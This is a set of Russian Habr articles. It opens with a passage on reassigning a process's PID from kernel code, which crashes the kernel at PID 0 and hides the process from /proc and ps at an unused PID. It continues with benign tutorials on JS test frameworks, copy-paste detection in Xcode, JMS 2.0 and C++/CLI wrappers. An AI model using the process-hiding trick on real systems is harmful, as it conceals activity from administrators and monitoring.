PID изменен! Ядро автоматически выделило нашей программе свободный PID. Но можно ли использовать PID, который занял другой процесс, например PID 1? Добавим после аллокации код
```
newpid->numbers[0].nr = 1;
```
Комплируем, запускаем
```
My parent PID 314
My PID 1172
My new PID 1
```
Получаем настоящий PID 1!
Bash выдал ошибку, из-за которой не будет работать переключение задач по комманде %n, но все остальные функции работают отлично.
Интересные особенности процессов с измененным PID
-------------------------------------------------
### PID 0: войти нельзя выйти
Вернемся к коду и изменим PID на 0.
`newpid->numbers[0].nr = 0;`
Комплируем, запускаем
```
My parent PID284
My PID 1517
My new PID 0
```
Выходит PID 0 не такой и особенный? Радуемся, пишм exit и…
Ядро падает! Ядро определило нашу задачу как IDLE TASK и, увидев завершение, просто упало. Видимо, перед завершением наша программа должна вернуть себе «нормальный» PID.
### Процесс-невидимка
Вернемся к коду и выставим PID, гарантированно не занятый
`newpid->numbers[0].nr = 12345;`
Комплируем, запускаем
```
My parent PID296
My PID 735
My new PID 12345
```
Посмотрим, что находится в /proc
```
1 148 19 224 288 37 79 86 93 consoles fb kcore locks partitions swaps version
10 149 2 226 29 4 8 87 acpi cpuinfo filesystems key-users meminfo sched_debug sys vmallocinfo
102 15 20 23 290 5 80 88 asound crypto fs keys misc schedstat sysrq-trigger vmstat
11 16 208 24 291 6 81 89 buddyinfo devices interrupts kmsg modules scsi sysvipc zoneinfo
12 17 21 25 296 7 82 9 bus diskstats iomem kpagecgroup mounts self thread-self
13 176 210 26 3 737 83 90 cgroups dma ioports kpagecount mtrr slabinfo timer_list
139 18 22 27 30 76 84 91 cmdline driver irq kpageflags net softirqs tty
14 182 222 28 31 78 85 92 config.gz execdomains kallsyms loadavg pagetypeinfo stat uptime
```
Как видим /proc не определяет наш процесс, даже если мы заняли свободный PID. Предыдущего PID тоже нет в /proc, и это весьма странно. Возможно, мы находимся в другом пространстве имен и поэтому не видны основному /proc. Смонтируем новый /proc, и посмотрим что там
```
1 14 18 210 25 291 738 81 9 bus devices fs key-users locks pagetypeinfo softirqs timer_list
10 148 182 22 26 296 741 82 90 cgroups diskstats interrupts keys meminfo partitions stat tty
102 149 19 222 27 30 76 83 92 cmdline dma iomem kmsg misc sched_debug swaps uptime
11 15 2 224 28 37 78 84 93 config.gz driver ioports kpagecgroup modules schedstat sys version
12 16 20 226 288 4 79 85 acpi consoles execdomains irq kpagecount mounts scsi sysrq-trigger vmallocinfo
13 17 208 23 29 6 8 86 asound cpuinfo fb kallsyms kpageflags mtrr self sysvipc vmstat
139 176 21 24 290 7 80 87 buddyinfo crypto filesystems kcore loadavg net slabinfo thread-self zoneinfo
```
По прежнему нашего процесса нет, а значит мы в обычном пространстве имен. Проверим
`ps -e | grep bash`
`296 pts/0 00:00:00 bash`
Только один bash, с которого мы и запускали программу. Ни предыдущего PID, ни текущего в списке нет.
[Ссылка на github](https://github.com/gravit0/changepid) | https://habr.com/ru/post/345040/ | null | ru | null |
# Jasmine vs. Mocha, Chai и Sinon
Тестирование в JS становится все более распространенной практикой. Но с чего начать? Существует множество фреймворков которые предоставляют API для написания JS тестов.
Данная статья — это краткий обзор различий между двумя популярными фреймворками для тестирования JS: Jasmine 2 и Mocha. Мы также обсудим наиболее полулярные библиотеки Chai и Sinon которые часто используются в связке с Jasmine и Mocha.
### **1.** API (application programming interface)
API в Jasmine и Mocha очень схожи. Они оба поддерживают написание тестов используя BDD (Behavior Driven Development) подход. Вы можете спросить: «что такое BDD»? Если кратко, это подход к написанию тестов, который предоставляет возможность описания функциональности на разговорном языке.
```
describe('calculator', function() {
describe('add()', function() {
it('should add 2 numbers together', function() {
// assertions here
});
});
});
```
Утверждения (*assertions*), или ожидания(*expectations*), как их часто называют, различаются в представленых фреймворках. Mocha не имеет встроеной *assertion* библиотеки. Существует несколько вариантов для использования в среде Node.js и для браузеров: Chai, should.js, expect.js, and better-assert. Большинство разработчиков выберают Chai в качестве *assertion* библиотеки. Так как ни одной из *assertion* библиотек нет в поставке с Mocha, вам нужно будет подключить ее в вашу тестовую среду. В Chai сужествует три типа *assertions*:
1) should (должен)
2) expect (ожидать)
3) assert (утверждать)
Тип *expect* аналогичен *expect* который предоставляет нам фреймворк Jasmine. Например если вы хотите написать проверку метода add и ваше ожидание что calculator.add(1, 4) будет равняться 5, то данная проверка будет аналогично выглядить используя как Jasmine так и Chai.
```
//Jasmine
expect(calculator.add(1, 4)).toEqual(5);
```
```
//Chai
expect(calculator.add(1, 4)).to.equal(5);
```
Очень похоже, верно? Если вы переходите с Jasmine на Mocha то путь довольно простой — использывать Chai c типом *expect*.
### **2.** Test Doubles (Дублеры)
*Test Doubles* заменяют один обьект на другой для тестовых целей. В Jasmine роль *test doubles* выполняют *spies*(шпионы). *Spy* — это функция которая заменет оригинальную функцию, логику которой мы хотим изменить и описывает как данная функция будет использоваться в рамках выполнения теста.
*Spies* позволяют:
1) Узнать количество раз которые вызывалась *spy* функция
2) Указать возвращаемое значение для того, чтобы тестируемый код продолжил работать по нужному алгоритму.
3) Указать, чтобы *spy* функция бросила ошибку.
4) Узнать с какими аргументами была вызвана *spy* функция.
5) Указать, чтобы *spy* функция вызвала оригинальную функцию. (Которую она заменила)
В Jasmine создать *spy* для существующего метода возможно так:
```
var userSaveSpy = spyOn(User.prototype, 'save');
```
Также возможно создать *spy*, даже если у вас нет метода который вы хотите подменить.
```
var spy = jasmine.createSpy();
```
Mocha не имеет встроеной *test doubles* библиотеки по этому вам нужно загрузить и подключить *Sinon* в вашу тестовую среду. *Sinon* очень мощная *Test Doubles* библиотека которая предоставляет эквивалентный функционал *spies* в Jasmine и немного больше. Стоит отметить, что *Sinon* разбивает *test doubles* на три разные категории: *spies*, *stubs* и *mocks*, между которыми есть тонкие отличия.
*Spy* функция в *Simon* вызывается посредством оригинального метода, в то время как в Jasmine это поведение нужно указывать. Например:
```
spyOn(user, 'isValid').andCallThrough() // Jasmine
// is equivalent to
sinon.spy(user, 'isValid') // Sinon
```
В данном примере, будет вызван оригинальный user.isValid.
Следующий тип *test doubles* это *stubs* который заменяет оригинальный метод. Поведение *stubs* аналогично с поведением по умолчанию *spies* в Jasmine, в котором оригинальный метод не вызывается.
```
sinon.stub(user, 'isValid').returns(true) // Sinon
// is equivalent to
spyOn(user, 'isValid').andReturns(true) // Jasmine
```
В данном примере, если будет вызван метод user.isValid, оригинальный метод user.isValid вызван не будет, а будет вызвана его поддельная версия которая должна вернуть результат «true».
Из своего опыта, *spies* в Jasmine покрывают почти все что требуется для *test doubles*, по этому в большинстве случаев вам не нужно будет *Sinon* если вы используете Jasmine, однако, если вы хотите, у вас есть возможность использовать их совместно. Основная причина, по которой я использую *Sinon* вместе с Jasmine, это его *fake server*.
### **3.** Асинхронные тесты (Asynchronous Tests)
Асинхронное тестирование в Jasmine 2.x и Mocha реализуется аналогично.
```
it('should resolve with the User object', function(done) {
var dfd = new $.Deferred();
var promise = dfd.promise();
var stub = sinon.stub(User.prototype, 'fetch').returns(promise);
dfd.resolve({ name: 'David' });
User.get().then(function(user) {
expect(user instanceof User).toBe(true);
done();
});
});
```
В данном примере User — функция конструктор у которой есть статический метод get. Метод get внутри себя использует метод fetch который выполняет XHR запрос (request). Я хочу проверить, что когда метод get получит значение, то это значение будет экземпляром (instance) User. Так как я использовал «stub» для метода User.prototype.fetch и указал ему вернуть заранее определенный *promise*, реальный XHR запрос не выполняется. Покрытие данного кода продолжает быть асинхронным.
Очень просто указать, что *callback* функция в it конструкции ожидает аргумент (в данном случаи done) и *test runner* будет ожидать пока выполнится функция до того как закончит тест. Тест будет приостановлен и выводится ошибка, если аргумент не будет вызван в течении определенного времени. Это дает полный контроль над тем, когда тесты закончат выполнение. Тест, написаный выше, будет работать как в Jasmine так и в Mocha.
Если вы работаете с Jasmine 1.3 асинхронное тестирование выглядит не так «чисто».
Пример асинхронного тестирования в Jasmine 1.3:
```
it('should resolve with the User object', function() {
var flag = false;
var david;
runs(function() {
var dfd = new $.Deferred();
var promise = dfd.promise();
dfd.resolve({ name: 'David' });
spyOn(User.prototype, 'fetch').andReturn(promise);
User.get().then(function(user) {
flag = true;
david = user;
});
});
waitsFor(function() {
return flag;
}, 'get should resolve with the model', 500);
runs(function() {
expect(david instanceof User).toBe(true);
});
});
```
В данном примере, для завершения асинхронной операции тест будет ожидать максимум 500 милисекунд, в ином случае тест будет провален. Функция waitsFor() постоянно проверяет flag, как только flag станет true выполнение продолжится и будет вызван следующий runs блок.
### **4.** Sinon Fake Server
Одна особенность которую имеет *Sinon* в сравнении с Jasmine это *fake server* (поддельный сервер). Это позволяет установить поддельные ответы на определенные AJAX запросы.
```
it('should return a collection object containing all users', function(done) {
var server = sinon.fakeServer.create();
server.respondWith("GET", "/users", [
200,
{ "Content-Type": "application/json" },
'[{ "id": 1, "name": "Gwen" }, { "id": 2, "name": "John" }]'
]);
Users.all().done(function(collection) {
expect(collection.toJSON()).to.eql([
{ id: 1, name: "Gwen" },
{ id: 2, name: "John" }
]);
done();
});
server.respond();
server.restore();
});
```
В данном примере послав GET запрос на /users, мы получим ответ 200, содержащий данные о двух пользователях — Гвене и Джоне. Это может быть очень удобно по нескольким причинам. Во первых, вы можете тестировать код, который делает AJAX запросы, независимо от того, какую AJAX библиотеку вы используете. Во вторых, вы можете протестировать функцию, которая делает AJAX запрос и делает предварительную обработку возвращаемых данных перед тем, как выполнить обещание (*resolve promise*). В третьих, есть возможность обьявить несколько ответов на успешный запрос. Например, в случаях: успешного снятия средств с кредитной карты, устаревшей карты, неправильного CVV кода и т.д. прийдут разные ответы. Если вы работали с AngularJs, то *Sinon Fake Server* похож на $httpBackend сервис.
### Итог:
Jasmine фреймворк включает в себя почти все что необходимо, включая *assertions*, *test doubles* (реализован через *spies*) функциональность. Mocha не обладает такой функциональностью, но предоставлет выбор библиотеки для *assertions* (самая популярная *Chai*). Для *test doubles* Mocha также требует подключения дополнительной библиотеки, в большинстве случаев это sinon.js. *Sinon* также может быть отличным дополнением, предоставляя свой *fake server* (поддельный сервер).
Выбрать тестовый фреймворк для JS может быть трудной задачей, надеюсь что данная статья помогла вам сделать правильный выбор. В любом случае, что бы вы ни использовали, вы не ошибетесь. Удачного тестирования!
[Статья-оригинал](http://thejsguy.com/2015/01/12/jasmine-vs-mocha-chai-and-sinon.html) | https://habr.com/ru/post/314978/ | null | ru | null |
# Интегрируем Copy-Paste-Detection в Xcode, и не только
 Сегодня ночью, проводя очередной code-review в наших проектах, наткнулся на большой кусок проявления чистейшего, кристализованного копипаста. Он не очень пришелся мне по душе, и как-то сразу всплыл вопрос:" А много ли копипаста у нас в проектах"? Google is my friend, поэтому решение нашлось очень быстро у [jkennedy1980](http://deadmeta4.com/2011/05/17/objective-c-copy-paste-detection-using-jenkins/), который использовал [CPD](http://pmd.sourceforge.net/cpd.html) (copy paste detector), который входит в [PMD](http://pmd.sourceforge.net/) (Pretty Much Done || Project Mess Detector || Programming Mistake Detector || [...](http://pmd.sourceforge.net/meaning.html) ). В общем случае, CPD умеет находить copy-paste сходу для ряда языков(cpp, cs, java, php, ruby, ecmascript) и *относительно* легко расширяется, но мне же был нужен Objective-C. Как раз такой вариант и был у jkennedy1980, который использовал CPD в автоматической сборке [jenkins'ом](http://jenkins-ci.org/). Это в общем случае очень хорошо для любого проекта на любом языке, когда jenkins внедрен в процесс разработки, все права выставлены, и все знают где, когда и что надо нажимать. В случае же, когда разработчики не знают про jenkins, либо знают, но он где-то там далеко, такой метод мягко говоря не подходит. Xcode для iPhone/iOS разработчиков, все же, как-то ближе, и хотя для него [все еще нельзя написать плагин](http://openradar.appspot.com/8622025),
Немного лирики
--------------
Заранее оговорюсь о том, что некоторые пункты по установке CPD, будут дублировать то, что написано в оригинале у [jkennedy1980](http://deadmeta4.com/2011/05/17/objective-c-copy-paste-detection-using-jenkins/). То есть кому интересна интеграция jenkins + cpd — можно сразу идти [сюда](http://deadmeta4.com/2011/05/17/objective-c-copy-paste-detection-using-jenkins/). Тех же, кому больше интересна интеграция Xcode + cpd — прошу оставаться с нами.
Для тех, кому совсем лень читать про настроку, и кто хочет попробовать все и сразу: [ссылка на Xcode проект](http://dl.dropbox.com/u/45054714/CPDObjective-C.zip), в котором «все уже украдено до нас».
Качаем CPD
----------
Скачиваем [PMD](http://pmd.sourceforge.net/), в котором находится CPD, который нам, собственно и нужен. В моем случае, мною была скачана [версия 4.6.2](http://ignum.dl.sourceforge.net/project/pmd/pmd/4.2.6/pmd-bin-4.2.6.zip).
Качаем ObjectiveC Tokenizer
---------------------------
CPD по умолчанию не поддерживает Objective-C, но благодаря Mike Hall, который описал [грамматику ObjectiveC для JavaCC](http://lists.apple.com/archives/java-dev/2010/Sep/msg00097.html), и все тому же [jkennedy1980](http://deadmeta4.com/author/jkennedy1980/), мы можем получить замечательный Objective-C Tokenizer, который расширит функциональность CPD еще одним языком программирования. Скачиваем и его с [github](https://github.com/jkennedy1980/Objective-C-CPD-Language/tree/master/releases).
Ничего лишнего
--------------
Собираем закачанные файлы в нужную нам папку, и пробуем CPD на каком-нибуть проекте-жертве.
`java
-Xmx512m
-classpath pmd-4.2.5.jar:ObjCLanguage-0.0.1-SNAPSHOT.jar
net.sourceforge.pmd.cpd.CPD
--minimum-tokens 100
--files [Path to XCode project classes]
--language ObjectiveC
--encoding UTF-8
--format net.sourceforge.pmd.cpd.XMLRenderer > cpd-output.xml`
Параметры сами по себе интуитивно понятные, единственным более-менее вопросным с первого взгляда параметром является **--minimum-tokens**. В двух словах, это количество токенов, при повторении которых кусок кода может считаться copy-pasted. Поставите значение 1 — весь код будет сплошным копипастом, Поставите значение в 100500 — есть вероятность, что не будет найдено ни одного. Значение 100 подобрано опытным путем, согласно коэффициентам, взятым из [справочника Стеля](http://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D1%80%D0%B0%D0%B2%D0%BE%D1%87%D0%BD%D0%B8%D0%BA_%D0%A1%D1%82%D0%B5%D0%BB%D1%8F).
После успешного запуска, мы получим cpd-output.xml вида
```
<![CDATA[
- (void)someMethod {
for (int i = 0 ; i < 10; i++) {
for (int j = 0; j < 10; j ++) {
NSLog(@"This is incorrect");
NSLog(@"This is incorrect");
NSLog(@"This is incorrect");
NSLog(@"This is incorrect");
...
</pre>
С него-то мы и будем брать данные для показывания их в Xcode
Интеграция с Xcode
------------------
Для того, интегрировать ХCode и CPD, мы добавим в Build Phases таргета проекта, Run Script фазу, условно состоящую из нескольких частей:
1. Собственно вызов cpd
2. Парсинг cpd-output.xml
3. Вывод в «правильном формате»
Реализацию парсера для XML я приведу немного позже, а сначала я расскажу о «правильном формате». «Правильный формат» — в данном случае это формат, в котором можно выводить сообщения в Run Script фазе, которые бдут обработаны Xcode'ом. В общем случае он выглядит примерно так:
`[full-path-to-file]:[line-number]:[column-number]: warning: [Message]
[full-path-to-file]:[line-number]:[column-number]: error: [Message]`
Задача скрипта-программы будет сводиться к преобразованию cpd-output.xml в «правильный формат».
Написать скрипт/программу, которая будет читать исходный XML, и выдавать на выходе нужные нам строки — несложно, но, все же, для примера [выкладываю проект](http://dl.dropbox.com/u/45054714/CPDObjective-C.zip), который после сборки запускает скомпилированного себя же, чтобы проверить свои исходники на предмет copypast'а.
А вот и пару скринов, как это выглядит на практике.
В Issue Navigator:
Внутри файла:
P.S.
----
Чаще всего copy-paste — это зло, с которым надо бороться. Иногда с ним и не стоит бороться. Всяко бывает. Но, если все же прийдется, теперь у вас есть возможность интегрировать CPD в Xcode.
P.S.S.
------
«Правильный формат» для Xcode был найден на просторах интернета случайным образом. Интересную информацию о том, что еще можно сделать из Run Script фазы, чтобы ее результат был обработан Xcode — можно писать в комментариях
Последнее слово
----------------
Код, представленный в проекте не является номинантом на премию «Лучший код года». Автор пишет под MacOSX раз в сто лет, и просто показал метод расширения функциональности Xcode. А еще автор сознательно сделал так, что, проект с некоторой долей вероятности может не собраться на некоторых системах. Это не баг, это фича(с).
``` | https://habr.com/ru/post/137875/ | null | ru | null |
# Знакомство с JMS 2.0
Не так давно, 12 июня 2013, миру [был представлен релиз Java EE 7](http://www.oracle.com/us/corporate/press/1957557). Одним из ключевых моментов в этом релизе было появление JMS версии 2.0, которая не обновлялась с 2002 года.
Данный текст является вольным переводом начала [статьи](http://www.oracle.com/technetwork/articles/java/jms20-1947669.html) [Найджела Дикина](https://www.java.net//jcp/communityspotlight/nigel-deakin). Текст предназначен для ознакомления заинтересованного читателя с новым API.
API JMS 1.1 требует для работы достаточно много кода, но успело себя хорошо зарекомендовать, потому, с 2002 года не изменялось. В JMS 2.0 новое API призвано упростить отправку и прием JMS-сообщений. Прежнее API не упраздняется и продолжает работать наравне с новым.
В API JMS 2.0 появились новые интерфейсы: JMSContext, JMSProducer и JMSConsumer.
* JMSContext заменяет Connection и Session в классиеском JMS API
* JMSProducer — это легковесная замена MessageProducer-у, которая позволяет задавать настройки доставки сообщений, заголовки, свойства, через вызов цепочки методов ([паттерн Строитель](http://en.wikipedia.org/wiki/Builder_pattern))
* JMSConsumer заменяет MessageConsumer и используется по такому же принципу
##### Отправка JMS
Для сравнения. JMS 1.1:
```
public void sendMessageJMS11(ConnectionFactory connectionFactory, Queue queue, String text) {
try {
Connection connection = connectionFactory.createConnection();
try {
Session session =connection.createSession(false,Session.AUTO_ACKNOWLEDGE);
MessageProducer messageProducer = session.createProducer(queue);
TextMessage textMessage = session.createTextMessage(text);
messageProducer.send(textMessage);
} finally {
connection.close();
}
} catch (JMSException ex) {
// handle exception (details omitted)
}
}
```
JMS 2.0:
```
public void sendMessageJMS20(ConnectionFactory connectionFactory, Queue queue, String text) {
try (JMSContext context = connectionFactory.createContext();){
context.createProducer().send(queue, text);
} catch (JMSRuntimeException ex) {
// handle exception (details omitted)
}
}
```
* В версии 2.0 мы используем try-with-resources из JavaSE 7
* Параметр Session.AUTO\_ACKNOWLEDGE устанавливается по умолчанию в JMSContext. Если требуется установить другое значение (CLIENT\_ACKNOWLEDGE или DUPS\_OK\_ACKNOWLEDGE), оно передается как отдельный параметр
* Используется JMSContext вместо объектов Connection и Session
* Что бы создать TextMessage достаточно просто передать в метод send строку
Отличительной особенностью нового API является то, что его методы бросают RuntimeException — JMSRuntimeException, вместо checked-исключения JMSException. Это дает возможность при желании не обрабатывать JMS-исключения.
##### Синхронное получение JMS
Сравниваем разницу при синхронном получении сообщений.
JMS 1.1:
```
public String receiveMessageJMS11(ConnectionFactory connectionFactory,Queue queue){
String body=null;
try {
Connection connection = connectionFactory.createConnection();
try {
Session session =connection.createSession(false,Session.AUTO_ACKNOWLEDGE);
MessageConsumer messageConsumer = session.createConsumer(queue);
connection.start();
TextMessage textMessage = (TextMessage)messageConsumer.receive();
body = textMessage.getText();
} finally {
connection.close();
}
} catch (JMSException ex) {
// handle exception (details omitted)
}
return body;
}
```
JMS 2.0:
```
public String receiveMessageJMS20(ConnectionFactory connectionFactory,Queue queue){
String body=null;
try (JMSContext context = connectionFactory.createContext();){
JMSConsumer consumer = context.createConsumer(queue);
body = consumer.receiveBody(String.class);
} catch (JMSRuntimeException ex) {
// handle exception (details omitted)
}
return body;
}
```
* Используется try-with-resources для автоматического закрытия соединения
* Используется JMSContext вместо объектов Connection и Session
* AUTO\_ACKNOWLEDGE выставляется по умолчанию
* Обрабатывается JMSRuntimeException, который можно не обрабатывать, вместо JMSException в JMS 1.1
* connection.start() выполняется автоматически
* Строка получается автоматически через метод consumer.receiveBody(String.class), вместо получения объекта Message, приведения его к TextMessage и вызова метода getText
##### Асинхронное получение JMS
В JavaSE, что бы получать сообщения асинхронно, в JMS 1.1 используется следующий код:
```
MessageConsumer messageConsumer = session.createConsumer(queue);
messageConsumer.setMessageListener(messageListener);
connection.start();
```
В JMS 2.0 это выглядит так:
```
JMSConsumer consumer = context.createConsumer(queue);
consumer.setMessageListener(messageListener);
```
Вместо MessageConsumer — JMSConsumer. Соединение стартует автоматически.
В Java EE Web или EJB приложениях, как и прежде, надо использовать message-driven bean, вместо метода setMessageListener
##### Вставка объекта JMSContext в Java EE приложении
В Java EE приложении JMSContext можно вставить посредством аннотации [Inject](http://habrahabr.ru/users/inject/). После вставки JMSContext будет находиться под управлением сервера приложений.
Следующий фрагмент кода позволяет вставлять JMSContext в session bean или сервлет.
```
@Inject @JMSConnectionFactory(
"jms/connectionFactory") private JMSContext context;
@Resource(lookup = "jms/dataQueue") private Queue dataQueue;
public void sendMessageJavaEE7(String body) {
context.send(dataQueue, body);
}
```
Закрытие JMSContext производится автоматически сервером приложений. Если во время запроса выполняется JTA-транзакция, то JMSContext закроется автоматически после коммита, если без транзакции, то закроется в конце запроса.
На этом я решил остановиться. Для ознакомления и начала работы этой информации должно быть достаточно. Много детаей и дополнительной информации тут:
[What's New in JMS 2.0, Part One: Ease of Use](http://www.oracle.com/technetwork/articles/java/jms20-1947669.html)
[What's New in JMS 2.0, Part Two—New Messaging Features](http://www.oracle.com/technetwork/articles/java/jms2messaging-1954190.html) | https://habr.com/ru/post/184460/ | null | ru | null |
# .NET-обёртки нативных библиотек на C++/CLI
Предисловие переводчика
=======================
Данная статья представляет собой перевод главы 10 из книги Макруса Хиге (Marcus Heege) «Expert C++/CLI: .NET for Visual C++ Programmers». В этой главе разобрано создание классов-обёрток для нативных классов C++, начиная от тривиальных случаев и до поддержки иерархий и вирутальных методов нативных классов.
Идея этого перевода появилась после статьи [«Unmanaged C++ library в .NET. Полная интеграция»](https://habrahabr.ru/company/simbirsoft/blog/276011/). Перевод занял больше времени, чем ожидалось, но, возможно, подход, показанный здесь, также будет полезен сообществу.
Содержание
==========
1. [Создание обёрток для нативных библиотек](#begin)
1. [Прежде, чем начать](#up-front-considerations)
1. [Отдельная DLL или интеграция в проект нативной библиотеки?](#separate-or-integrate)
2. [Какая часть нативной библиотеки должна быть доступна через обёртку?](#which-features)
2. [Взаимодействие языков](#language-interoperability)
3. [Создание обёрток для классов](#wrapping-cpp-classes)
1. [Отображение нативных типов на типы, соответствующие CLS](#cls-compliant-types)
2. [Отображение исключений C++ на управляемые исключения](#mapping-exceptions)
3. [Отображение управляемых массивов на нативные типы](#mapping-array)
4. [Отображение других непримитивных типов](#mapping-other-arguments)
5. [Поддержка наследования и виртуальных методов](#supporting-inheritance)
4. [Общие рекомендации](#general-recommendations)
1. [Упростите обёртки с самого начала](#simplify-wrappers)
2. [Учитывайте философию .NET](#dot-net-mentality)
5. [Заключение](#summary)
Создание обёрток для нативных библиотек
=======================================
Есть множество ситуаций, требующих написания обёртки над нативной библиотекой. Вы можете создавать обёртку для библиотеки, чей код вы можете изменять. Вы можете оборачивать часть Win32 API, обёртка для которой отсутствует в FCL. Возможно, вы создаёте обёртку для сторонней библиотеки. Библиотека может быть как статической, так и динамической (DLL). Более того, это может быть как C, так и C++ библиотека. Эта глава содержит практические рекомендации, общие советы и решения для нескольких конкретных проблем.
Прежде, чем начать
------------------
Перед тем, как писать код, следует рассмотреть различные подходы к написанию обёртки и их достоинства и недостатки с точки зрения как создания, так и использования вашей библиотеки.
### Отдельная DLL или интеграция в проект нативной библиотеки?
Проекты Visual C++ могут содержать файлы, компилируемые в управляемый код [подробнее можно прочитать в главе 7 книги]. Интеграция обёрток в нативную библиотеку может показаться хорошей затеей, потому что тогда у вас будет на одну библиотеку меньше. Кроме того, если вы интегрируется обёртки в DLL, то клиентском приложению не придётся загружать лишнюю динамическую библиотеку. Чем меньше загружается DLL, тем меньше время загрузки, требуется меньше виртуальной памяти, меньше вероятность, что библиотека будет перемещена в памяти из-за невозможности её загрузить по изначальному базовому адресу.
Тем не менее, включение обёрток в оборачиваемую библиотеку как правило не несёт пользы. Чтобы лучше понять почему, следует отдельно рассмотреть сборку статической библиотеки и DLL.
Как бы странно это не звучало, но управляемые типы можно включить в статическую библиотеку. Однако это легко может повлечь за собой проблемы идентичности типов. Сборка, в которой определён тип, является частью его идентификатора. Таким образом, CLR может различить два типа из разных сборок, даже если имена типов совпадают. Если два разных проекта использую один и тот же управляемый тип из статической библиотеки, то этот тип будет скомпонован в обе сборки. Так как сборка является частью идентификатора типа, то получится два типа с разными идентификаторами, хотя они и были определены в одной статической библиотеке.
Интеграция управляемых типов в нативную DLL также не рекомендуется, так как загрузка библиотеки потребует CLR 2.0 во времени загрузки. Даже если приложение, использующее библиотеку, обращается только к нативному коду, для загрузки библиотеки потребуется, чтобы на компьютере была установлена CLR 2.0, и чтобы приложение не загружало более раннюю версию CLR.
### Какая часть нативной библиотеки должна быть доступна через обёртку?
Как это часто бывает, очень полезно чётко определить задачи разработчика, прежде чем начинать писать код. Знаю, это звучит как цитата из второсортной книженции о разработке программ из начала 90х, но для обёрток нативных библиотек постановка задачи особенно важна.
Когда вы приступаете к созданию обёртки для нативной библиотеки, задача кажется очевидной — у вас уже есть существующая библиотека и управляемое API должно принести её функциональность в мир управляемого кода.
Для большинства проектов такого общего описания совершенно недостаточно. Без более чёткого понимания проблемы вы, вероятно, напишете по обёртке для каждого нативного класса C++ библиотеки. Если библиотека содержит больше одной единственной центральной абстракции, то зачастую не стоит создавать обёртки один-к-одному с нативным кодом. Это заставит вас решать проблемы, не связанные с вашей конкретной задачей, а также породит много неиспользованного кода.
Чтобы лучше описать задачу, подумайте над проблемой в целом. Чтобы сформулировать задачу более чётко, вам надо ответить на два вопроса:
* Какое подмножество нативного API нужно управляемому коду?
* Как управляемый код будет использовать различные части нативного API?
Как правило, ответив на эти вопросы, вы сможете упростить себе задачу урезанием ненужных частей и добавлением абстракций-обёрток, основанных на сценариях использования. Например, возьмём следующее нативное API:
```
namespace NativeLib
{
class CryptoAlgorithm
{
public:
virtual void Encrypt(/* ... пока что аргументы можно опустить ... */) = 0;
virtual void Decrypt(/* ... пока что аргументы можно опустить ... */) = 0;
};
class SampleCipher : public CryptoAlgorithm
{
/* ... пока что реализацию можно опустить ... */
};
class AnotherCipherAlgorithm : public CryptoAlgorithm
{
/* ... пока что реализацию можно опустить ... */
};
}
```
Это API даёт программисту следующие возможности:
* создавать и использовать экземпляр SampleCipher;
* создавать и использовать экземпляр AnotherCipherAlgorithm;
* наследовать классы от CryptoAlgorithm, SampleCipher или AnotherCipherAlgorithm и переопределять Encrypt или Decrypt.
Реализация всех этих возможностей в управляемой обёртке гораздо сложнее, чем может показаться. Особенно трудно реализовать поддержку наследования. Как будет показано позже, поддержка виртуальных методов требует дополнительных классов-прокси, что приводит к накладным расходам во время выполнения и требует времени на написание кода.
Однако весьма вероятно, что обёртка нужна только для одного или двух алгоритмов. Если обёртка для этого API не будет поддерживать наследование, то её создание упрощается. С таким упрощением вам не придётся создавать обёртку для абстрактного класса CryptoAlgorithm. С виртуальными методами Encrypt и Decrypt можно будет работать так же, как и с любыми другими. Чтобы дать понять, что вы не хотите поддерживать наследование, достаточно объявить обёртки для SampleCipher и AnotherCipherAlgorithm как sealed классы.
Взаимодействие языков
---------------------
Одной из основных целей при создании .NET было обеспечение взаимодействия разных языков. Если вы создаёте обёртку для нативной библиотеки, то возможность взаимодействия с разными языками приобретает особенную важность, поскольку разработчики, использующие библиотеку, скорее всего, будут использовать C# или другие языки .NET. Common Language Infrastructure (CLI) — это основа спецификации .NET [подробнее можно прочитать в главе 1 книги]. Важной частью этой спецификации является Common Type System (CTS). Хотя все языки .NET основываются на общей системе типов, не все языки поддерживают все возможности этой системы.
Чтобы чётко определить, смогут ли языки взаимодействовать между собой, CLI содержит Common Language Specification (CLS). CLS — это контракт между разработчиками, использующими языки .NET, и разработчиками библиотек, которые можно использовать из разных языков. CLS задаёт минимальный набор возможностей, который обязан поддерживать каждый язык .NET. Чтобы библиотеку можно было использовать из любого языка .NET, соответствующего CLS, возможности языка, используемые в публичном интерфейсе библиотеки, должны быть ограничены возможностями CLS. Под публичным интерфейсом библиотеки понимаются все типы с видимостью public, определённые в сборке, и все члены таких типов с видимостью public, public protected или protected.
Можно использовать атрибут CLSCompliantAttribute, чтобы обозначить тип или его член как соответствующий CLS. По умолчанию, не помеченные этим атрибутом типы считаются не соответствующими CLS. Если вы примените этот атрибут на уровне сборки, то по умолчанию все типы будут считаться соответствующими CLS. Следующий пример показывает, как применять этот атрибут к сборкам и типам:
```
[assembly: CLSCompliant(true)]; // типы с видимостью public соответствуют CLS, если не указано иное
namespace ManagedWrapper
{
public ref class SampleCipher sealed
{
// ...
};
[CLSCompliant(false)] // этот класс явно помечен как не соответствующий CLS
public ref class AnotherCipherAlgorithm sealed
{
// ...
};
}
```
Согласно правилу 11 CLS все типы, присутствующие в сигнатурах членов класса (методов, свойств, полей и событий), видимых снаружи сборки, должны соответствовать CLS. Чтобы правильно применять атрибут [CLSCompliant], вы должны знать, соответствуют ли типы параметров метода CLS. Чтобы определить соответствие CLS, надо проверить атрибуты сборки, в которой объявлен тип, а также атрибуты самого типа.
В Framework Class Library (FCL) также используется атрибут CLSCompliant. mscorlib и большинство других библиотек FCL применяют атрибут [CLSCompliant(true)] на уровне сборки и помечают типы, не соответствующие CLS, атрибутом [CLSCompliant(false)].
Учтите, что следующие примитивные типы в mscorlib помечены как несоответствующие CLS: System::SByte, System::UInt16, System::UInt32 и System::UInt64. Эти типы (или эквивалентные им имена типов char, unsigned short, unsigned int, unsigned long и unsigned long long в C++) нельзя использовать в сигнатурах членов типов, которые считаются соответствующими CLS.
Если тип считается соответствующим CLS, то все его члены также считаются таковыми, если явно не указано обратного. Пример:
```
using namespace System;
[assembly: CLSCompliant(true)]; // типы с видимостью public соответствуют CLS, если не указано иное
namespace ManagedWrapper
{
public ref class SampleCipher sealed // SampleCipher соответствует CLS из-за атрибута сборки
{
public:
void M1(int);
// M2 помечен как несоответствующий CLS, потому что тип одного из его аргументов не соответствует CLS
[CLSCompliant(false)]
void M2(unsigned int);
};
}
```
